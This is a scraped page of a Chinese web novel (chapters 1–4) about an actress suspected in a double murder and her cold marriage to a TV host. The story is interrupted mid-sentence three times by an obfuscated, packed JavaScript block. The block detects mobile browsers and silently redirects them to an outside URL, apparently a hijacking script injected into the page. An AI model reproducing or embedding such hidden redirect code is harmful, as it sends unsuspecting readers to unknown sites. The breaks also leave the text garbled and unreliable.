《风闻绯事[破镜重圆]》 1. 梦境 干燥温暖的大手,在光洁细腻的背部游走,指纹清晰可感,激起细微电流,火焰燎原,点燃每一寸肌肤。 她的身躯化作燃烧的枝干,在高温下几近滚烫。唯有那双手掌触及的一方天地,才能找回实在的感知,触感真切得可怖。 细腻的、热情的、贪婪的、熟悉的抚摸,一刻也不愿停歇,掠过火苗,既是灭火,也是点火,将她牢牢地锁在火焰中央。 江知渺只能感受到浑身的滚烫,她不得不眼睁睁地任由这双手肆意逡巡,迅速攻城略地,不留一丝喘息的余地。 在被滔天火焰吞噬前的最后一刻,她的头脑突然划过一道惊雷,电光火石间,将她散逸的理智迅速拉回。 不,不对。这是谁的手? 背后的手掌似乎感受到她细微的挣扎,愈发用力起来,将她的细腰束缚在两掌之间,令她无法转身。 火热的激情刹那间被未知的恐惧填满,江知渺拼命地想要回过头去,确认背后之人的面孔。 然而,她却意外地察觉到疲软四肢下蔓延的无力。 焦急之下,她的呼吸迅速加快,心脏猛烈跳动,喉头甚至尝到了一丝血腥气,如同在没有终点的红毯上,无休止地奔跑。 不知前路的黑暗中,温热的触碰没有任何停止的迹象。正当江知渺绝望地屏住呼吸,大脑陷入缺氧带来的恐怖空白时—— “叮咚——” 一声清脆的响铃从暗夜中传来,犹如自天堂伸来一架天梯。江知渺拼上全身力气,企图抓住那声音的源头,夺回对身体的控制权。 就在她无限接近时,眼前骤然恢复了耀眼的日光。她在强光中大口大口地呼吸着,惊魂未定地剧烈喘息,双眼慢慢地适应着令人安心的白昼。 片刻过后,江知渺定神环顾四周,发现窗外天光早已明亮,而她正独自躺在家中卧室的床上,浑身遍布满冷汗。 而那无法确定主人的抚摸,与强硬禁锢她的手掌,此时也并无半点踪迹。 原来是梦。 江知渺长出了一口气,劫后余生般望向紧闭的房间门,缓缓坐起身来,轻轻敲了敲仍在眩晕的脑袋。 可为何梦中那清脆的铃声还在作响呢? 视线随意地落在墙壁的挂钟上,她上一秒还困在朦胧的疑惑中,下一秒看到时间,猛地从床上跳起来,大跨步冲出卧室,直奔大门。 可惜她完全不知道,门铃已经响了接近三分钟。 于是,打开房门的一瞬间,她便接收到了来自多年好友兼经纪人的“友好”慰问:“江知渺!你是死了吗!” 江知渺自知理亏,把人毕恭毕敬地引到客厅,自冰箱中取出一杯冰水,安静地坐在一旁,观察着她的表情。 梁栖月的愤怒并没有被冰水浇灭,她把喝完的水杯随手塞给江知渺,双手环抱在胸前,凝视着她。 “你说你要是真死了,我们倒也轻松了,省得还要赶在两个小时之内给你改礼服、做造型、做妆发再出图!”梁栖月举着手指,细数他们的红毯准备工作。 江知渺不动声色地理了理自己凌乱的头发,窝在柔软的沙发一角,目之所及都是工作人员忙碌的身影。 她一向守时,不希望给工作室的同事们添麻烦,这次却险些闯下大祸,心底也自责起来:平日里总是一点动静就醒,怎么偏偏在今天睡不醒? “你怎么不一觉睡到明天早上呢,啊?”梁栖月仿佛能看穿她的心思,指着她咬牙切齿地说道。 江知渺本就昏昏沉沉的大脑早已神游开外,听到这里,她忽地回忆起方才的梦境。 梦中的那个人,掌心的温度……有些熟悉。她下意识扭过头,犹疑地看向家中另一间卧室。 视线在紧闭的原木房门上停顿了几秒,随即又不着痕迹地收了回来。江知渺轻轻摇了摇头:怎么可能会是他呢。 梁栖月瞧她心不在焉,干脆起身坐到她身边,揉着自己的太阳穴,“我早晚有一天要被你气死,真不知道邵聿是怎么忍了你这么多年的。” 江知渺捕捉到她放缓的情绪,难得地放软了语气,拉过她的手臂,“栖月,抱歉……” “我告诉你,因为你的事,我的手机、还有工作室的所有电话,从昨晚开始就响个不停,我们嗓子都讲得快要痛死了。喏——” 梁栖月指着忙碌的员工们,“原来定好做造型的地方也吹了,只能临时杀到你家,结果你还不开门。邵聿呢,他也不在家吗?” “不在”,江知渺再次看向那间卧室,“这都下午四点了,他晚上有节目。” 江知渺趁机向不远处一个娇小的女生使了个眼色,跟了她三年的小助理冉然心领神会,在腰间比了个“OK”的手势。 “月姐,我们准备好了,咱们开始做妆发吗?”冉然熟练地抓住话语间的缝隙,总算是打断了梁栖月的训话。 随着梁栖月一声令下,工作人员陆续走进衣帽间。无一例外,所有人在双脚踏进去的那一刻,都不约而同地发出了惊叹,嘴巴张成了标准的“O”型,“知渺姐,那、那些,都——是你的衣服吗?” 偌大的更衣室中,立着一排接一排的衣柜,琳琅满目的华服看不到尽头,在金灿灿的灯光下散发着温和的光芒。 江知渺轻描淡写地点点头,“是啊,也不算多吧,这间更衣室只是家里最小的卧室改的。” 梁栖月白了她一眼,语重心长地冲着周围说道:“引以为戒啊,千万别跟她学。别人拍戏是赚钱,她拍戏那是工资回收!就连我家里,也有一个房间,专门放她的衣服。” 说着,她指了指冉然,“对了小冉,你走的时候,别忘了把最里面挂着的衣服拿去干洗,前段时间剧宣活动穿过的那些。” “知渺姐,以前看媒体说你拍戏基本都是私服,我还不信,没想到居然真有这么多!”化妆师一边为她护肤,一边感叹道。 “那些媒体是说我耍大牌吧?”江知渺抬起眼眸,恰好对上镜中化妆师略显尴尬的面孔。 话音刚落,江知渺听到梁栖月发出一声长叹,她重重地把自己摔到一旁的软沙发上。 “这次的事情,很麻烦吧?”她低声问道。 “比起你之前闯过那些的祸,的确麻烦一点。” 梁栖月闭目养神,紧绷的喉咙松弛下来,嗓音满是沙哑:“毕竟,你把男主角说哭了,我还能去道歉。把记者怼一通呢,我也能发个声明。把男主演杀死了,我可没法把人复活。” 提到这个话题,室内的气氛立刻凝固起来,刚刚还在交流的工作人员们,此时都噤了声,连脸颊上的化妆刷也停滞下来。 不用他们细说,江知渺也能猜到过去这一晚发生了什么。如日中天的女明星身陷情杀丑闻,甚至被传唤到警局讯问了一整夜,舆论估计早就掀翻了天,制作人、合作方、品牌商此时定是忙着撇清和她的关系。 如今还能保住一个红毯,也不知道工作室的同事们和主办方废了多少口舌。 “知渺姐,我们相信你。”“对,知渺姐,你是很好的人,我们都知道。”…… 片刻的沉默过后,工作人员里传来星星点点支持的声音。江知渺望向他们真诚的面孔,竟有些感动地眼眶发热。 她平日里忙于拍戏,工作室的事情大多是梁栖月帮她在管理。除了助理冉然,这些员工与她并没有太近的接触。虽然大家嘴上不说,可她知道,面对这么惊世骇俗的事情,每个人心中都难免会有动摇。 江知渺向他们鞠了一躬,清了清嗓子:“谢谢大家,等事情结束,我会多接工作,多挣钱。” 短暂的停顿之后,她高声说道:“今年,工作室所有人,年终奖翻倍。” “耶!!” “知渺姐万岁!!” “谢谢老板!!” ……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599449|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 偌大的更衣室瞬间充斥着雀跃的欢呼声,叽叽喳喳的声音也热闹起来,间或夹杂着几声开朗的笑声。 江知渺闲适地窝进化妆椅,闭上双眼陶醉在做老板的优越感里,为自己组建的这个团队骄傲起来。 “叮咚叮咚叮咚——” 正当所有人都在庆贺时,一阵急促又冰冷的铃声穿透热火朝天的空气。 江知渺陡然坐直,望向门口。她条件反射般地回忆起方才的梦,深渊般的梦境,被催命似的的门铃声戛然终止。 她猛地站起身来,拦住冉然,留下一句“我去开门”,飞快地推开更衣室的门,跑向门口。 更衣室距离大门约莫有十来步,每走一步,江知渺的脑海中便闪过一丝梦中的绮影,让她的脚步愈发沉重。 她握住门把手,比体温凉许多的金属激得头皮发麻,这许久没有体会过的慌张,罪魁祸首都是那个无法自控的迷乱梦境。 炽热的触摸……不,她的心提到了喉咙,不得不承认,梦中的主角是她自己。面对触碰时毫无反抗的沉沦,始终都在折磨着她。 可那到底只是梦而已,她这样在心底默念着,用力按下门把手。 楼道里富丽堂皇的金色灯光,在她的眼前一闪而过。紧接着,一道巨大的力量沉重地甩在她的脸上! 粗糙的手掌与皮肤结实碰撞,发出的响声仿若擂鼓,以势不可挡的阵仗,将她的时间、空间通通劈开。 江知渺只觉得眼前一黑,被迎面而来的巨大力量抽倒,结结实实地摔向地面。 “啪!!!——”响亮的巴掌声仍在空荡荡的楼道里回响。 他们是谁?为什么要打她?她究竟为什么要忍受这些?无数疑问涌上她的心头,皮肤表层的疼痛被迅速催熟,深入肌底,催生出泪水。 在几近停滞的时间中,江知渺恍惚发现她变成了旁观者,她似乎正冷眼看着自己像泡沫剧的恶毒女配一样,羞耻地捂着脸颊,身边围着一群人,对她肆意指指点点。 作为旁观者,她的头脑忽然变得无比清醒,自暴自弃的念头占据了委屈的情绪:原来,这个耳光早就应该落在她的脸上,五年前躲掉的,终究要在五年后偿还。 摇摇欲坠的平衡,使分秒之间格外漫长,江知渺等待着,却始终没有等来预想中沉重的坠落…… 她落进了一双有力的臂弯,从背后被人稳稳地接住,圈进温暖的怀抱中。他似乎是奔跑而来,胸膛还剧烈地起伏着。 这双手臂坚定有力,可身体却又很有分寸,维持好她的平衡后,便向外用力,与她尽量保持着一拳的距离。 江知渺背对着他,余光勉强瞥见他的墨蓝色制服,肩上挂着光洁闪烁的银白徽章。 下一刻,江知渺听见梁栖月小跑着赶过来,发出一声惊呼:“哎,你不是昨天那个……” 话音未落,从江知渺的身后,再次传来一阵急促的脚步。 “咚……咚……” 她察觉出,那稳健的步伐间,夹杂着明显焦躁的气息,不时出现一两步不对称的脚步声。 很快,脚步的主人——一个精瘦挺拔的男人越过所有人,在她的身前定住脚,不由分说地将她从那个略带拘谨的怀抱中拽了出来。 那个男人紧紧地攥着她的手腕,像风掀起轻飘飘的落叶,几番腾挪。天旋地覆之间,她的眼前再次恢复了明亮。 可她被完全挡在他的身后,看不到门外来人,只能感受到握着她的手掌愈发用力,他的肩背也随着呼吸剧烈起伏,令人不敢忽视他汹涌的怒气。 不过,面对着门外的不速之客,这种愤怒转瞬即逝,他几乎是顷刻之间就收起了情绪。 随后,平稳的、充满磁性的、独属于主持人的醇厚声线,在空旷的楼道中缓缓流淌: “我是江知渺的丈夫,邵聿,这里是我们的私人住宅,请问三位有什么事?” 2. 辩白 「八月十二日晚,知名小生柏霆宇和某网红被发现惨死于A市某高级酒店。经初步检验,男性死者头部有明显创伤,女性死者死因疑为毒品注射过量。 案发后,警方迅速排查,与柏霆宇合作的女演员江某有较大嫌疑。当晚,江某被传唤至属地警局,并接受了血液检测。 经审讯,江某承认案发当晚曾乘车前往该酒店,但否认其曾与死者见面。江某的血液检测结果为阴性。 今晨,江某离开警局。警方表示,案件正在进一步调查之中……」 江知渺几近麻木地垂下双眼,冰冷的新闻报道、无休止的侮辱谩骂、歇斯底里的痛哭哀嚎,同时在她的耳廓中爆炸。 “我要你给我儿子偿命!!你这个婊子!不要脸!猪狗不如的东西!!” “我儿子才二十四岁啊!怎么就这样走了……” “杀人偿命!我要杀了你,给我儿子报仇!!” 她已经感受不到声浪的吵闹,眼前混乱的场面如同一场正在放映的电影,她只是观影者,并不属于这一切。极度的不真实感,如云雾般将她团团包裹。 两个白发苍苍的老人不顾邵聿和梁栖月的阻拦,硬要冲进屋来。布满血丝的双目怒睁,脸上一道道深壑扭曲变形,看上去万分悲恸。 「江知渺,我是负责本案的警察,最后一次问你,昨晚十点半至十二点间,你是否见过两名死者?」 昨晚,在昏暗的审讯室内,面对警察一遍又一遍的讯问,她已经记不得自己解释了多少次。 她知道,作为最大的嫌疑对象,对着死者的父母,自己现在应该再解释一次,终止这场突如其来的闹剧。 然而,她究竟还要再解释多少次呢?她说了,听者就能相信吗? 江知渺的视线扫过梁栖月、邵聿和刚刚扶住她的男人,或许是昨夜的讯问过于难熬,再次面对质问,她突然很想抓住他们,寻求一个确切的答案。 “不是我杀的。” 微弱却坚定的辩白盖过了无休止的吵闹,刹那间,空气归于死寂。 她迈出沉重的步伐,压抑住颤抖的声线,用真诚的目光,看向两位老人,用尽力气开口说道:“昨晚,我真的,真的,没有见过柏霆宇。” 沉寂只维持了几秒,撕心裂肺的怒吼再次响起:“你胡说!你个满嘴谎话的骗子……” 老妇人不甘地抬起手臂,指着她的鼻子,哭诉道:“我儿子死前最后一个联系的人就是你!他叫你过去找他,酒店前台也亲眼看见你上楼,然后他就……就没了!你还说不是你?!” “你怎么敢对警察、对我们说谎!” 「头条!著名女演员江知渺涉嫌杀害男演员柏某! 自出道以来,江知渺从未与同一男主角连续合作,此次却出乎所有人意料,连续接下两部与柏某合作的电视剧集。 定情之作《凤皇止阿房》庆功宴次日,二人双双返回A市后,柏某邀请江知渺去酒店私会,江知渺欣然赴约。 然而温柔乡内,暗藏祸患。柏某素有多情之名,江知渺亲眼目睹网红欣某与柏某纠缠不清,甚至一起吸食毒品。 两人发生激烈争执,愤怒之下,江知渺将柏某推倒在地,却没想到,头部磕在大理石桌案锋利的边角,致使柏某颅内出血,当场死亡! 杀害柏某后,江知渺又残忍地给网红欣某注射了过量毒品,导致欣某多器官衰竭而死……」 网络上,各种营销号梳理出的杀人动机极具说服力,捕风捉影的绯闻和似是而非的证据,天衣无缝地缝合起来,犹如多米诺骨牌,一旦开始便无法停下。 「姐姐,我只有你了……」 她的耳边回荡起柏霆宇低沉缱绻的声音,像是路边的流浪狗,可怜地蹭着她的脚腕。 现在突然有人告诉她,这不是流浪狗,你不该去喂养别人家的宠物——江知渺顿时觉得有些荒谬。 她后知后觉地心生懊悔:昨晚面对警察,应该也像眼前的两位老人这样痛哭一场,至少看起来比较无辜。 老妇人双腿踉踉跄跄,苍白枯燥的头发黏在浮肿的脸上,整个人摇摇欲坠,一刻也不停地哭喊着,张牙舞爪地向她冲上前来。 看着柏霆宇父母绝望至极的模样,她甚至想和他们说:打我、骂我吧,如果这样可以缓解你们失去孩子的痛苦,能够让我不用再向他人辩白。 可邵聿没有让她靠近江知渺,他伸出手臂,将老人扶起来,控制在距她三步之外的距离,犹如一道坚固的围墙。不知是不是独属于主持人的说服力,让老人停了下来。 “我非常理解两位的心情,但目前警方的调查尚未结束,我的妻子仅作为证人参与调查,并非犯罪嫌疑人。关于她是否是真凶,还要等待警方的结论。” 咬字清晰,发音圆满,语调流畅,似乎并非是在与人争吵,而像是在做新闻播报。看似毫无波动的一句平淡话语,却让无处发泄的苦痛一拳锤在了棉花上。 两个老人泪流满面地看着他,仍不死心,还想继续追问。邵聿果断地抬起双臂,拦住房门,“如果您企图强闯私人住宅,我只能请警察来,将二位依法带离了。” 邵聿的警告斩钉截铁,眼见老人有所松动,一旁的年轻警察也赶忙上前,连哄带劝,将他们慢慢送上电梯。 目送着两位老人坐上出租车,年轻警察本想直接离开,却没想到梁栖月早就跟着他追了出来。 她深深地鞠了一躬,裂开嘴角,朗声问道:“您是昨晚帮我们给知渺送厚衣服的警察吧,还不知道您的姓名,真的太感谢您了!” 警察摆摆手,腼腆地笑起来:“我叫周屹泽,都是举手之劳,您不用客气。” 梁栖月盯着他,觉得他很是眼熟。他的样貌气场不像是普通的年轻警察,放在娱乐圈里也算得上端正。 见他准备离开,并没有解释的意思,梁栖月眼疾手快地将他拦下,审视地盯着他的眼睛,一字一句问道:“您怎么知道他的父母要来找知渺的?” 送走周屹泽,梁栖月仍然没有放弃从记忆中寻找他的存在,一路都沉浸在思索中,电梯很快就到达江知渺家所在的16层。 一梯一户的设计充分保证了私密性,正当她准备抬起手敲门时,门却从内侧打开了,迎面走出一个面色铁青的男人。 “诶,聿哥?你要走了吗?”梁栖月惊讶地看着许久没见的邵聿,他脸色有些阴沉,不过看到她后,很快便隐去了,礼貌地向她点头,甚至让她以为刚才都是错觉。 “嗯,去台里,晚上有工作。”说完,邵聿没有继续寒暄,径直走进电梯。 梁栖月走进衣帽间时,恰好看到江知渺正对着镜子,化妆师在她身后焦急地跺脚。 “我看看,有没有受伤。”她捧起江知渺的下颌,只见左脸颊涨红一片,薄薄的皮肤下泛起醒目的血丝,看得人触目惊心,好在没有留下指印。 尽管一直在用毛巾热敷,可到了拍照前补妆时,掌掴留下的伤痕还是发作起来。火辣辣的痛感自面皮下蔓延开来,不用仔细也能发现,左侧脸颊已经肿得略有不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599450|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对称了。 江知渺对着镜子仔细端详伤处,心底久违地打起鼓来:拍照还可以修图,可倘若在出镜之前,红肿仍然无法消退,无论是临时宣布退出红毯,还是被人发觉此事,后果不堪设想。 “滴——滴——”不知是什么设备发出的提示音,打破了沉重的气氛。 陌生的机械声音从更衣室外传来,有了刚才的变故,大家都紧张起来,下意识摸了摸口袋中的手机,随即又茫然地对视。 “我去看看。”梁栖月没有再让江知渺离开,独自走出更衣室。提示音一直在持续,她寻找了很久才找到。 随着声音戛然而止,梁栖月轻快的脚步声逐渐靠近了更衣室。她推开门,双手牢牢地背在身后,神秘地看着江知渺,笑得不怀好意。 “什么呀……”江知渺被她盯得头皮发麻,周围的同事也都难掩好奇地往她的背后去探看。 “铛铛——”梁栖月献宝似的从背后拿出一枚圆滚滚的鸡蛋,夸张地在手心里吹来吹去。 “邵聿给你煮的爱心鸡蛋,快,趁热敷一敷你那猴屁股。” 江知渺垂眸看着掌心里干净的鸡蛋,沉甸甸的一枚,温润的表壳上带着沸腾后的热度。 八卦之心点燃了大家的兴致,纷纷七嘴八舌地调侃起来。 “哇,姐夫真是细心啊!” “我就说嘛,姐夫怎么可能直接就走了呢。” “刚才我就想说了,姐夫怼他们的那几句话真帅,我还以为我在看新闻联播呢!” …… 好不容易兵荒马乱地出发,前往会场的路上,梁栖月几次叫她,都没有得到回应。江知渺手里拿着鸡蛋,在红肿的脸颊上熨帖翻滚,眼神放空,茫然地飘向窗外。 经过下午的闹剧,作为多年的好友,她非常清楚江知渺虽然表面上风平浪静,心里却早已泛起波澜。也只有在自己面前,江知渺会露出这样的一面。 “怎么了?”梁栖月拍拍她的手臂。往常的活动都是冉然跟着她,这次比较特殊,为了防止出现意外,她还是跟过来了。 怎么了呢?江知渺想,为什么突然之间,所有人都在对她提问,好像她知道所有问题的答案似的。 这句话不该问她,而应该去问邵聿。或许,等到今天的活动结束,正式停工休息后,她也该找个时间,向邵聿问出这句,压在心头五年的疑问—— 他们之间,到底是怎么了呢? “好景不长”,剧本里总是喜欢用这简短的四个字来表示转折,急转直下的恶化,不遂人愿的戏剧化展开。 没有什么能够比这个词语更完美地概括她和邵聿的七年婚姻了,自从五年前开始,他们就离开了短暂的好景,进入看不到终点的漫长死局。 漫长得好像从最初就理应如此。 像是今天下午那样,她忙着自己的事情,完全不知道丈夫就在家中,如同两个合租的陌生人,才是他们两人的常态。 所以,从昨晚开始,不顾媒体的长枪短炮现身警察局接她回家,挺身而出赶走柏霆宇的父母,给她留下敷脸使用的鸡蛋,这些“多余”的行动,让江知渺只能感受到迷茫和困惑。 假如现在,邵聿突然和她谈及爱,那么,她做过的一切又算什么呢? “完了!”梁栖月的一声尖叫打断了她的思绪,将她的注意力吸引过去。 黑暗的夜色下,梁栖月的手机屏幕发出刺眼的光芒。江知渺看到微博热搜页面上,“#邵聿疑似力挺妻子江知渺#”的词条,赫然挂在榜首。 3. 触碰 很快,手机那边同步传来了宣发人员的消息:他们在更衣室拍出发图的时候,不小心将邵聿的衣角也拍了进去。 审核人员的心思全在修饰脸颊的红肿之上,加之更衣室背景本就繁乱,于是没有发现这一疏漏,直接就发出去了。 可眼尖的网友一眼就看出,那件酒红色西装,刚好是邵聿在主持《钩沉》时穿过的。网上顿时兴起轩然大波,各种解读层出不穷。 感慨夫妻感情的,吐槽工作室粗心的。不过更多的,还是在骂江知渺,骂她利用丈夫的正面形象和国民度,给自己洗白。 梁栖月心惊胆战地翻了几条,立即打开工作群,指尖在手机屏幕上快速敲击,嘴上同时嘱咐着江知渺:“我这就让他们换一张照片,你也跟聿哥解释一下,非常抱歉,是我们小伙伴的失误。” 江知渺打开自己的手机,用微博小号登录,进入工作室的微博账号,看到了饱受争议的那张照片。倘若不是刻意往照片的一角去观察,很难发现那里有一抹不属于她的身影。 邵聿怎么会出现在她的镜头里呢?江知渺思索了几秒钟,回想起他是何时入镜的。 送走柏霆宇的父母后,工作室的小伙伴们都在更衣室深处忙着打光、布景,她一个人坐在更衣室门口的软凳上,从身旁的全身镜里检查自己的妆容。 视线顺着镜中精致的妆面下滑,江知渺微微侧身,看到背后礼服的拉链还差了一小段没有拉到顶端。 “小冉。” “小冉。”她轻呼着助理的名字。 “小冉?” 大抵是里面的讨论声比较大,江知渺叫了三声,冉然都没有出现。她干脆站起身,提起裙摆,准备往更衣室里面走。 炽热的气息突然从身后贴近,强烈的压迫感仿佛一团蕴藏雷电的阴云,霸道地占领她身旁的空气,彰显着不可忽视的存在感。 她迅速扭过头去,想要看看身后的人是谁,就在眼神随着下颌转动九十度,落在侧面的镜中时,她从一尘不染的宽阔镜面上,意外地看到了邵聿。 “别动。” 镜子中,两人之间的距离只有不到一掌,江知渺下意识地想要向前迈步,拉开距离,邵聿低声沉吟的两个字,如同命令一般,将她死死地钉在原地。 她只能从镜子中,看着邵聿缓缓抬起右手,修长的手指弯曲微握,轻轻拉住她背后的拉链。他的动作很轻,假如不是从镜子中看到,江知渺几乎无法察觉到。 不知是邵聿过于谨慎,还是礼服拉片太过微小,邵聿尝试了几次,都没能把拉链闭合到最顶端。 突然,他像是不耐烦一样,左手猛地攥住她裸露在外的肩膀,右手拈着拉片,用力向后拉扯。 江知渺原本放松了身体,骤然受到外力,脚步凌乱失措地向后退去,直到背部完全贴在邵聿的身前,才终于找回平衡。 不属于她的更高的体温,灼烧着她与邵聿接触的每一寸肌肤。她的目光被镜中两人紧贴无间的身影所束缚,许久,江知渺才回过神来。 邵聿温热清爽的鼻息扫过耳廓,突如其来的热度攀上她的耳根,连带着未受掌掴的另一侧脸颊也跟着发烫。 她又想条件反射地向前逃走,逃出这异常的燥热,可随着背部皮肤传来令她全身战栗的触碰,邵聿醇厚的声音在耳畔再次响起:“别动。” 他的声音更加暗哑,话音未落,滑腻的触感从敏感的背部传来,让她的全身都紧绷起来。 邵聿仍然拉扯着她背后的拉链,然而动作却明显加重了许多,指尖不知是有意还是无意,总能滑过拉链尚未覆盖的区域。 陌生又熟悉的触碰使江知渺忍不住将头从镜子的方向扭开,光是颅顶传来的呼吸声,就足以让她清晰地感知到,邵聿的存在。 可视觉失去判断力后,触觉便显得更加灵敏。 江知渺甚至感受到,他松开了拉片,转而用两只手指插进礼服内侧,尝试捏住滑块,向上提拉。指背随着他锲而不舍的尝试,在脊骨薄薄的皮肤上反复摩擦。 或轻或重,虚虚实实,一磨一蹭,如最细腻的羽毛,慢条斯理地吻过每一寸肌肤,勾起深入骨髓的痒意。 不知过了多久,江知渺听到拉链发出一声轻微的“咔哒”,拉片缓缓向上移动了分毫,紧贴的手指也终于撤去,她劫后余生般长长地呼出一口气。 她以为这场近似折磨的帮助结束了,再次看向全身镜,却眼睁睁地看到,邵聿再一次扯住拉链。 “别动。” 这是他第三次说“别动”,也是他语气最严厉低沉的一次。 指甲长的小小拉片似乎成了拴在她身上的绳索,向上攀登的同时,绳索也将她束缚得越来越紧,紧到无法呼吸。 她已经无法分辨邵聿究竟是什么意图,他攥着自己肩膀的手逐渐加深力气,毫不怜惜地让她获得痛意;可另一边,拉动拉链时又过分小心翼翼,几乎是一齿一齿地完成咬合。 她的时间观念已经被这割裂的感受完全重组,一寸触摸、一齿咬合,她数着念着,煎熬地等待着无数个链牙啮合。 “知渺姐!” 清脆的呼唤从更衣室深处悠悠传来,惊醒了江知渺被催眠的五感,她慌张地看向镜中邵聿的脸,从他阴沉的脸色中抓住一闪而过的烦躁。 “知渺姐!” 冉然呼喊她的声音更近了,江知渺不知道自己为什么要慌乱,只是顺从本能开始挣扎。 然而邵聿却没有放过她的意思,反而向后扣住她的肩膀,更加缩短了两人之间的距离,平稳的呼吸声忽然加重。 “知渺姐,赵哥想请你去试试光……” 冉然的声音近在咫尺,江知渺非常确定,三秒后,她会转过那个拐角,出现在他们面前。 心剧烈地跳动起来,心跳声宛如鼓点,快要撑破耳膜,手脚变得冰凉,全身如同被重担压倒,连一只手指也无法动弹。 她无可奈何地在心底默数着:三……二……一! 几乎是冉然出现在视野里的同时,江知渺听到背后的拉链“唰”地滑过最后一段征途,严丝合缝地咬住上止。 “聿哥好。”冉然乖巧地打招呼时,江知渺因紧张而错位的意识才终于回笼,发现邵聿不知何时已经站到了她的身旁。 “知渺姐,背景我们都弄好了,赵哥说更衣室的光比较弱,我们的打光设备要重新调一下参数,想请你过去站站位置。” 江知渺惊魂未定的心神还未平息,冉然的话像流水般划过大脑,她无法思考其中的含义,只知道顺从地跟着走进去,也顾不上查看邵聿后来的动向。 想必正是那会儿,邵聿跟着自己走进了更衣室。试光期间大家都比较随意,他的衣角那时候被收进镜头,而后来修图的同事恰好选到了这张照片。 江知渺猜测他应该正在准备晚上九点的节目,为了保持专注,通常在开始前几个小时,他都不会看手机。 于是她退出拨号界面,给邵聿发了一条微信: 「抱歉,我们的工作失误,照片马上就会更换。」 她打开热搜,盯着那个词 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599451|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条。文字的力量总是难以估量,任何没有实体的事物,一旦被固定为白纸黑字,都显得十分真实。 她随意地向下划了几下,同一个词条铺了满屏,直扑眼底,“力挺”两个字让她莫名地有些心烦意乱,她干脆将屏幕向下扣住。 她本以为很久才会收到回复,没想到手机上很快就弹出了邵聿的消息。 「没关系,不用换。」 江知渺难以置信地将他的回复看了好几遍,确定没有看错后,才怔怔地扭过头,跟梁栖月说道:“照片不用换了。” “什么?”梁栖月不解地看着她。 她没有解释,只是迅速熄灭了屏幕,让自己完全陷进傍晚的黑暗夜色中,慌张的心跳诉说着不可告人的秘密。 愈是不愿承认,心跳声便愈大。 她很想立刻打电话过去,问问邵聿,你究竟是什么意思。 是对舆论一时的热度嗤之以鼻,还是——愿意被人“误解”为支持她? 江知渺为这种天真的想法感到可耻,他们两人走到如今这个地步,谁都并非无辜。她自知清醒,却又无法自控。 这种对身体和心灵失控的感觉,使她毫不费力就联想到了那个迷乱梦境。 万一,那不是梦呢? 那时,他分明是在家的。假如要为梦中的另一个角色确定身份,她宁愿是他,而非其他人。 A市的夜晚灯火通明,主办方在驱车前往的场馆必经之路两侧树枝上,别出心裁地挂起星型霓虹灯带,恰好符合了今晚的主题:晚星如曜。 星光在深蓝色的夜空中迸发出无限的浪漫,飞速闪过的灯带光彩炫目,让她不得不闭上双眼。 她不愿再去细想,从昨晚开始的种种令她疲惫不堪,此刻她只想放纵自己,在这似水的夜色中休憩偷闲。沐浴在人造的星光中,江知渺缓缓地松开了紧握的手机。 片刻后,细微的震动再次传来,打破难得的平静。江知渺不情不愿地睁开双眼,揉了揉酸痛的脖颈,打开微信——一条来自“老公”的新消息。 「台里没有要求。」 汽车急转九十度,拐进活动会场的地下车库,高耸的水泥墙壁迅速占领视野。待车子停稳,江知渺轻声道: “栖月,那张照片,直接删掉吧。” 原来,她的猜测都是错误的,他只是不在乎。 只要没有影响到他自己,邵聿根本不在乎关于江知渺的任何事情。 江知渺自嘲地摇了摇头,心底甚至有些庆幸:现在说爱已经太晚了,邵聿,幸好你没有。 不然,我可能真的会恨自己。 今晚是由《ELAN》杂志主办的红毯晚会,《ELAN》专注于展现设计师品牌,其所举办的时尚活动也以极高的审美和时尚感而著名。 一年一度的《ELAN》晚会也是娱乐圈争奇斗艳的话题中心,几乎圈内所有仍在活跃的艺人,都会收到邀约,也吸引了无数媒体前来。 江知渺的红毯出场被安排在所有艺人的中间部分,在她之前是一些年轻新星,在她之后则是一众电影大咖。 梁栖月遇到了之前合作过的制作人,忙着寒暄,于是江知渺独自跟随工作人员,前往红毯入口处。 狭窄的后台区域挤满了艺人、助理和主办方的人员,临时搭建的休息区灯光昏暗。由于有些近视的缘故,江知渺只得专心地低头看路。 忽然,她的右肩被人重重地撞了一下。紧接着,耳畔悠悠地传来一个充满质感的女声:“杀人犯也能来走红毯了吗?” 4. 红毯 “杀人犯”这个词,尽管网络上早就有无数人扣在了她的头上,可现实中,这还是第一次听到。 江知渺猛地抬起头,映入眼帘的是一张艳丽精致的侧脸。她立刻认出来,这是与她同属于青衣一代的女演员,何之晏。 